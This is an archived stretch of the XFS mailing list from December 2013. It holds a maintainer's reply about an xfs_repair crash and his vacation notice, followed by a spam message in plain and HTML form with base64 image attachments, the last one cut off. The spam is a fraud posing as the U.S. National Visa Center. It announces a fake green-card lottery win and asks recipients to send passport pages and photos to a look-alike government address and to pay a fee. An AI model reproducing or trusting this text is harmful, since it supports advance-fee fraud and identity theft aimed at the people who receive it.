    = --Apple-Mail=_D1AA51C4-9870-42FC-B63E-F4DFFF9D2CB0-- From bpm@sgi.com Fri Dec 20 09:44:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C8B6229DF8 for ; Fri, 20 Dec 2013 09:44:34 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4370CAC005; Fri, 20 Dec 2013 07:44:30 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 6B1704266DC; Fri, 20 Dec 2013 09:44:30 -0600 (CST) Date: Fri, 20 Dec 2013 09:44:30 -0600 From: Ben Myers To: Marc Boivin Cc: xfs@oss.sgi.com Subject: Re: XFS segfaulting on xfs_repair Message-ID: <20131220154430.GY1935@sgi.com> References: <5C03211A-BF4B-485A-97F1-9CE00DACF09D@libeo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <5C03211A-BF4B-485A-97F1-9CE00DACF09D@libeo.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Marc, On Fri, Dec 20, 2013 at 09:26:26AM -0500, Marc Boivin wrote: > We’ve been having a hard time with our ifs partition but managed to get > it almost back to working conditions. To give you a bit of context we > have a LVM sitting on top of 3 RAID 5. The partition is encrypted. We had > issues with RAID degradation but now the RAIDs are healthy. > > We ran xfs_repair quite a few times (5 if I’m not mistaken). We are stuck > with an error: > > *** glibc detected *** xfs_repair: malloc(): smallbin double linked list corrupted: 0x00007f5dc7642570 *** > ======= Backtrace: ========= > /lib/x86_64-linux-gnu/libc.so.6(+0x76d76)[0x7f6149f96d76] > /lib/x86_64-linux-gnu/libc.so.6(+0x7a658)[0x7f6149f9a658] > /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x70)[0x7f6149f9bb90] > xfs_repair[0x42da83] > xfs_repair[0x42db16] > xfs_repair[0x42dd62] > xfs_repair[0x430b74] > xfs_repair[0x4492de] > xfs_repair[0x44e634] > xfs_repair[0x451976] > xfs_repair[0x44c4ba] > xfs_repair[0x41f126] > xfs_repair[0x421e55] > xfs_repair[0x4039d8] > /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd)[0x7f6149f3eead] > xfs_repair[0x403ff9] I think if you install the xfsprogs debuginfo package this backtrace will include function names. Do you have a core file? What version of xfs_repair? Thanks, Ben From bpm@sgi.com Fri Dec 20 10:43:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4547D29DF8 for ; Fri, 20 Dec 2013 10:43:05 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 260298F8092 for ; Fri, 20 Dec 2013 08:43:02 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id E2BB14266DC; Fri, 20 Dec 2013 10:43:01 -0600 (CST) Date: Fri, 20 Dec 2013 10:43:01 -0600 From: Ben Myers To: xfs@oss.sgi.com Subject: vaca Message-ID: <20131220164301.GT10553@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) Hi Folks, Just FYI, I'm gonna be on vacation until Jan 3. Thanks, Ben From nvcc@ny.com Fri Dec 20 13:31:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.1 required=5.0 tests=DEAR_WINNER,FREEMAIL_FROM, FREEMAIL_REPLYTO,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A714829DF8 for ; Fri, 20 Dec 2013 13:31:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9483B304062 for ; Fri, 20 Dec 2013 11:31:31 -0800 (PST) X-ASG-Debug-ID: 1387567886-04cbb0416886f890001-NocioJ Received: from vps.maroweb-egypt.com (vps.maroweb-egypt.com [78.142.63.68]) by cuda.sgi.com with ESMTP id 3uXXjDWQsKmFpZ3z (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 11:31:27 -0800 (PST) X-Barracuda-Envelope-From: nvcc@ny.com X-Barracuda-Apparent-Source-IP: 78.142.63.68 Received: from localhost.localdomain ([127.0.0.1]:39359 helo=localhost) by vps.maroweb-egypt.com with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.80.1) (envelope-from ) id 1Vu5k0-0006f2-Mn; Fri, 20 Dec 2013 21:28:08 +0200 Received: from 111.84.196.35 ([111.84.196.35]) by webmail.concordshipping.com (Horde Framework) with HTTP; Fri, 20 Dec 2013 21:28:07 +0200 Message-ID: <20131220212807.12907l6eo55r2s4c@webmail.concordshipping.com> Date: Fri, 20 Dec 2013 21:28:07 +0200 From: "U.S Immigration" Reply-To: visaguide.gov@america.hm To: undisclosed-recipients:; Subject: Winner will get FREE ticket MIME-Version: 1.0 X-ASG-Orig-Subj: Winner will get FREE ticket Content-Type: multipart/alternative; boundary="=_1ughl01uxq9wg" Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.3.11) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vps.maroweb-egypt.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - ny.com X-Get-Message-Sender-Via: vps.maroweb-egypt.com: authenticated_id: cairo@concordshipping.com X-Barracuda-Connect: vps.maroweb-egypt.com[78.142.63.68] X-Barracuda-Start-Time: 1387567887 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.90 X-Barracuda-Spam-Status: No, SCORE=1.90 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DEAR_WINNER, HTML_MESSAGE, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.20 DEAR_WINNER BODY: DEAR_WINNER 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 This message is in MIME format. --=_1ughl01uxq9wg Content-Type: text/plain; charset=ISO-8859-1 Content-Description: Plaintext Version of Message Content-Disposition: inline Content-Transfer-Encoding: 7bit U.S. Department- of- State National- Visa- Center Rochester Avenue. Portsmouth NH. 35004. Case- Number: _WAC201347984009F_ December- 20, 2013 Dear- Winner, Congratulation's!- You have been selected among the lucky winners of the U.S. Green- Card for fiscal year (2013-14)..Winners were selected randomly (via) computer-draw-system of email extractions. We are sending the winning letters through the selected- email- addresses. To receive the green- card; you need to apply and obtain the U.S.- immigrant- visa. The visa will permit you to travel to the United-States- to receive the green- card. Please complete-forms DS-230. for yourself-and all accompanying family members which will be used to file your immigrant-visa petition at the National- Visa- Center to process your visa and schedule-your visa interview appointment at the U.S.- Embassy- nearest to you for the issuance of your visa. Where Can I find forms DS-230? Download DS-230 form here-DS-230: Click the application- for Immigrant- Visa-n. DS-230 form[1] >> Requirements: 1. International-Passport: Include the photo-page of your international-passport (Only the principal-applicant). View- sample here -International-> passport [2] 2. Passport-size-photograph: Glue one passport size-photograph-for each person-mentioned in the-application at the top left corner of form DS-230. View- sample here--F PASSPORT> PHOTO[3] Photo instruction is-AVAILABLE> HERE Your application will be processed at our Asia-Pacific region office. Address: South Sathorn Road Bangkok, Thailand. Contact Person: George Thaksin Tel: (+66)837103394 How Can I Submit my-application? Submit-your-application to them-for processing at this-email: <_visaguide.state.gov@america.hm[4]_> You should be prepared to pay your immigrant visa fee of $330- at the Embassy on the day of your visa-interview-appointment. The fees changes can be found here-(CHANGE IN-PROCESSING FEES-FOR-VISAS TO THE-UNITED-STATES.) Yours In Services, Mr. Michael Howard Lottery management Links: ------ [1] http://www.state.gov/documents/organization/81807.pdf [2] http://dvd4arab.maktoob.com/redirectLink.php?link=http%3A%2F%2Fwww.smh.com.au%2Fffximage%2F2006%2F12%2F12%2Fpassport1_narrowweb__300x420%2C0.jpg [3] http://www.notarylivescanpost.com/Passport_Photo.jpg [4] mailto:visastudy.state.gov@america.hm --=_1ughl01uxq9wg Content-Type: multipart/related; boundary="=_firdjxfuduok"; start="uw5qzpc4qe8@webmail.concordshipping.com" Content-Transfer-Encoding: 7bit This message is in MIME format. --=_firdjxfuduok Content-Type: text/html; charset=ISO-8859-1 Content-Description: HTML Version of Message Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-ID:
    U.S. Department- of- State<= br /> National- Visa- Center
    Rochester Avenue. Portsmouth NH. 35004.
    =




      
    =
    Case- Number: WAC201347984009F
    December- 20, 2013
      
      
    =
    Dear- Winner,
    Congratulation's!- You have been selected among the lu= cky winners of the U.S. Green- Card for fiscal year (2013-14)..Winners were= selected randomly (via) computer-draw-system of email extractions. We are = sending the winning letters through the selected- email- addresses. To rece= ive the green- card; you need to apply and obtain the U.S.- immigrant- visa= . The visa will permit you to travel to the United-States- to receive the g= reen- card.
      
    Please complete-forms DS-230. for y= ourself-and all accompanying family members which will be used to file your= immigrant-visa petition at the National- Visa- Center to process your visa= and schedule-your visa interview appointment at the U.S.- Embassy- nearest= to you for the issuance of your visa.
      
    Where Can I find forms DS-230?
    Download DS-230 form here-DS-230: C= lick the application- for Immigrant- Visa-n. <= span style=3D"font-weight: 700"><= a href=3D"http://www.state.gov/documents/organization/81807.pdf" rel=3D"nof= ollow" target=3D"_blank" style=3D"outline-width: medium; padding-bottom: 0p= x; padding-top: 0px; outline-style: none; padding-left: 0px; margin: 0px; o= utline-color: invert; padding-right: 0px; background-color: transparent">DS= -230 form >>

     
    Requirements:
    1. International-Passport:  Include the photo-page of your inte= rnational-passport (Only the principal-applicant). View- sample here -
    International-> passport 
     
    2. Passport-size-photograph: <= br /> Glue one passport size-photograph-f= or each person-mentioned in the-application at the top left corner of form = DS-230. View- sample here--
    <= strong>F passport> photo
    Photo instruction is-available> here
     
    Your application will be processed = at our Asia-Pacific region office.
    Address: South Sathorn Road Bangkok= , Thailand.
    Contact Person: George Thaksin
    Tel:  (+66)837103394
      
    How Can I Submit my-application? Submit-your-application to them-for= processing at this-email: <
    visaguide.st= ate.gov@america.hm  
    You should be prepared to pay your = immigrant visa fee of $330- at the Embassy on the day of your visa-intervie= w-appointment. The fees changes can be found here-(<= font id=3D"yiv1730920712yui_3_13_0_1_1383555547578_27128">CHANGE IN-PR= OCESSING FEES-FOR-VISAS TO THE-UNITED-STATES  
    --=_firdjxfuduok Content-Type: image/jpeg Content-Disposition: attachment Content-Transfer-Encoding: base64 Content-ID: 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 zFGwC8Bjt16rMnRZNGjRrdcRo0aNRRf/2Q== --=_firdjxfuduok Content-Type: image/gif Content-Disposition: attachment Content-Transfer-Encoding: base64 Content-ID: <1jzodgrjf5xc@webmail.concordshipping.com> R0lGODlhggEsANUAALGwsf////+Xl/Lz9MTExWViaNfW1o6Nlf8AAHWLouLh4VZyjurq6v9mZqa1 xD9ef/n5+Yqbr//Dw5eoup9aXSFFa8TN2NPa4fz8/H98gfnh4cyQkXs4O83T2jAbHbq7vdmsr+jn 6Nzh5uXl5rMSFePGye/u7/n29M3NzSlLcO3s7PHx8fX19qGho0IyPPr6+vb4+fv7+/78/d7c3f7+ /jBRdf37/P/u7v39/VZTWqh6ffj4+PU3OPf39/z4+D0/XSH5BAAAAAAALAAAAACCASwAAAb/wIBw SCwaj8ikcslsOp/QqHRKrVqv2Kx2y+16v+CweEwum8/NQUcEo6Hf8Lh8Tq9/ab1ZKwMQsWIYOHaD hIWGh4hTMQoAPzkZFyY7L4GJlpeYmZpeLDMZOTktBgwDOzGCm6mqq6yXNDEMBAWgAAYhKz0xbq28 vb6/dxidAKAFtbc7GLvAzM3Oz0SvPSEEnwUFHx23EDjL0N/g4a44OyYGANcFGR+jAy+o4vHy83E4 Lysj1TmzGQQKKn/g0RtIsGAWaSFQHJg16wAKBSZ6VDJIsaLFJRheDFBAoAXDHAcMjFiRzNvFkygJ 0sABYQXHA/uutZhxi1LKmzg10bAp5RUL/xUGPmS4RmsGAxbvcipdSoiGAgZUWK5I2CLmow//kJpk yrUrGRwrVkDoiWEH0KrF1BEYYYKFMq9w437BoaFECRQiFWBlIWMJjhgbOzK8lgHFSIlbqQhAIECu 46U0dpTYoKOyDgocOGww8U5gNKlUYxJGgeztlQY8EPDg8bh1Shoszung4EIH5csATECg5FkIjbIm ZsjaBypDC9IseuBwSyNxkwYIoiNwTf0iBhMtdGTwwL27hw+kcvUO4HPEh1mgHhU2AXDFDKSAmkdZ HL1BAAcOBgjBf0HIBQcWWOBAf4bgN8B/FgSAoBcSCODggzc0+KAAEgwh4YQVXvhghUYMwP8fEQYa IWB/I1LxH34oDljiER46EMeKT4QYQIv+RZBAAgkWIaCLScQAAgfqoKeOIwTcIp4RK+0QC3qguOBC CxMA0FELDJhgwgAqhKCAAjOMkNwJMbwgSTdFNKCBmQFUUIGLE6iZgBBuqhmBIReoacECFSwQAJ56 OseEjUZIJ6gEqQmqmhCGRsdaooeahGcFDwxRZwU5EiFnmhXMOcWjanYawaVbfVpBExcsUOkQgDqR 6qVPTJpjm6PC2qmeknbK4xGxFeDBDwXoAEAJnvC6lgoR9cACBCwMwEKyWp6TTg4ugHTAtMY9FQID KhBL7AlZanACDiGMMMBuExWhpoudvgn/6wA3EkjIBTdi+qabAfSwaZ5FSKBoA/zaty9q0Umgr2r9 NiDwv/xWyAIRFnRaA3kKxlvEpC62S8UEN6q5QLsWH4FnpEs0XEF/y/DphMkUQwHrEB9juoADCag5 AcudzoyBETgwcgAHJPTsswuOFHBAC9NKOYMC4Y6gtAoneJIOYRlkcIA/y5oQltXajjCDURHJYIOx x2IQgwoEGADnmrLOW0ECDjwQadtuyzyj24++GcCdNc/9QA15xqxmDacG4LbeCS7wwAQRPJDAAOcy vmYAIQyR9uB4yzzAA3kPQV8RN0TXWACdM7Z5EaMTYYICRGDeKaqKB5C46ivDfZ/bsAvh/3ee+hnh gJq5y85uukLwncAEbk8wAKdvRsA3pBBfXvPxs+YuhPMyw1p7ALcvIL3tzL8QgPDyCmH4zPd1una9 LHakQwkgbLABCCAU4MgPvC5wQC1VZmt1WD6YMNTThAEAA3xwggHMAAUoIIACPwCADzjQgQRYQ5XC cqwBhCBymNpdpw7Hu5hFym81WF4AZPWoCzjuAY8agKw4uLbVWYpSfnPAuoS3spUFAHXly9PyHnDC R31geTVwUQyEAB0EFMxBnkNidG5QxILZp4kFgxxU9iMnOwXvfMtbmwexxzwQitBvYCzCwmL2sDEy r26W05jGBBenNWUvAGOxABDb1kZaCf9Bjn+DmZr2piYutvB8qQOk41ykugoYL5A1MNlYkLQDFABg A8CySwkyALQFRCAbHegAAvFigATawgQo+N/TDpANBCoQAC1IZSqnFYFWurIFEWgBAB7CAFxMRI0t VN2bMLfLPpLRj//p4Lk0qEdK+ZFtPFokG2UFK7VhrAIP+6WSxMe8SWVsTcS0IQ1UIIRCCUoARTRU Y7wpqACQUzoB+MsQMBepc51tZmtkYy97OSoyOo5tLVuGGzCnpxXIU2RsSkAwZ5XDCTgAfOALwBRj 504bSq6PbPwgNO/pgHwOQW451I8FCmnMHOoxUt5D0gBAsLPVmJQCGZjABzaAGR1M66X/RJtWKqP2 0gPQNKY1zalOa9qCD+DlKeNCRSETICo19UducuMlG/X0S46ei5/+MV8N9IPBiJqPdxp03jwht0i5 OY54V3UjNAPAgg9wMwD1mZA5CSadGyDKiBhCK1w3RNaH9o1eWdUggZBqSEzNjJcaNF+khvhC8vnV b0W4XV8VSy+5fWAG3IsmRB0a2XfKM7AbDABh9cq9UQ2hoi5M16OSEJkS9NQABACAah+JGQ5wByRR i61saUqt2cp2pztVpWoJgJfD3IyNRg2snkQ20KP2Nan44id+hvdV/1hgAnULwA6GcLtCzkxUfs0u DjM4QqMqF2bGUyoDRjDEgXFoCJ4L/wB9GmPefAWsCDiA7NmuqifsIvZuRiUuZ2VGTBlGIEFnvaMV 8TuyLXpIPxxlKjTxE4EJDFQ/KFiYPLn4sD2NlbATJq5f+4s4AAsBu1fc5QNe1UdZmc9dSOqB1maA WlQSTTuzcJJtZ0xj2g4tlatdrSp3rNoPlC0rhFWdngLbH+xiV2QBsuKlRAVdO1kRVg2WmzL99oDA UtNUdkLyDS8KTVm5Tmaj1RiKiyiEBgagvWudDhT7Bc76HDEA/uyuIfHTMpOZ7MujMnIftawxWM2s qnJGVYllJkI5rUtkNjJqDOHI5QUMNNF9DbCYj6zkPPkZcgJeG2iN+bcJTIBv7cwTiv/cOZ6VtCQE ByQAA128SqnhtrY0limOc0zrHc/apyJpy29V1x8N0srO+KphH11FzU49F6IWJqhC7YofjBp60J7d ronxlWwrLm9mqEgNaxgwA3+Wbr3n9Fy4GRMA7znOjiu7FKuArSeT2RCzdpsi9yKlnztzilKuam5R ++plIlzbj/QKgNmuaEh3QxTeQpD3vfsqZ/NZQFTuoldIcRaDHphAawlUda1tzfGYilIdxpl1jx/4 QFr3WIEGoIlYfiugHLUodyUq0YIWRKOzLkhBAFo2zgckBNIMgUY02k9+Zp7zWu5neM3OlKRyPr0Q SbhBFVLAb6GucwcJbEIPOjPWHST/BH++PAAAmBF+7pMfssOc5zHn+YJ2ISMUBPhuPB8B3N3V8qbz aEVBv2POp2v33H0d7Nt9ucxzzvayB8DtILpRBFB8AYwxF+4JMgDqSmQCJKzkBSwwQbM6ucBV67jj qhzKbUUOQQWa/vSmR6ABJB+CtiSFCCPY7uH5rvMtC6GqVcXBB5JFBPlCDgXIIkJQUED7IcADBy04 Au5RQFhRZVE/4hK+7P9RBAUMnAgJ+a0SxpNO8BQhgRJO5xCWYQAMy1ve202IvYZwDuIfwfpEUMAI 1i+E64NlCEZnPwDCz+33V17/7pcE6YcC9Cdws8R3ZCJ8LaAAxScEcueAAKAAGKYl/0mAAxiALCuQ JVvCYqakaiVncjpmU7QlSyeneqt3gii4NUczAiGgAiuAFBNhDqqlACyQD1ISFueAFTmoNQzEJQx0 Qak1A4DRSajkDzPwg2R1QKtmAOFXLxxRC09oABAASrMUFBF4hAAAaK+DQgmyJQNAhC1QJCogHLMk YSuQgwHWCUgIATbIWyTnQLOEAm/IQAYwXRjAAI5EAP7UAxzxWI5kC44UYWfYQNZHiDuIhSEAASGA WrLEhEUwiN4HiQBxQEUYLkGIh1LCANaXWljhEo6UhUPgHqmFAtzGiADwHkQginHYQDyYhYpoio44 BCxgfXKoWjOwAztAi3LYU9bXg/83owJ5GGdHsBIZgSwDkIEMoCVcsnqb1IwZZ3qsplsNxFsptyVK c0HYyADaiC1WMwA9AAHlolkrUEu60APa2AOvMI6loI4QMAC1tAPuuAIvYI4qsEgYEI+AgI9CcI/a OADa5xv0uAP0OBYQoAJHMY4koY9JkA8Lw48rMER4cI67EAPqqH0OSVgFmT9JozQj0B4buTSLFJEM gI7kQY9YMpJmMZLpSAo7oI4tSQrtSI5CkJEkWQQUSQo3c5P+KI7kGJH1qJPKMJBCcJMPOX7mqJIi WZNG2Y/sqJA0uRUQwG1HswK/hQH4sDVecg8yyZM76RcW+AIQYCzHaALJGHsbqIL/aLl6HviG1Mh6 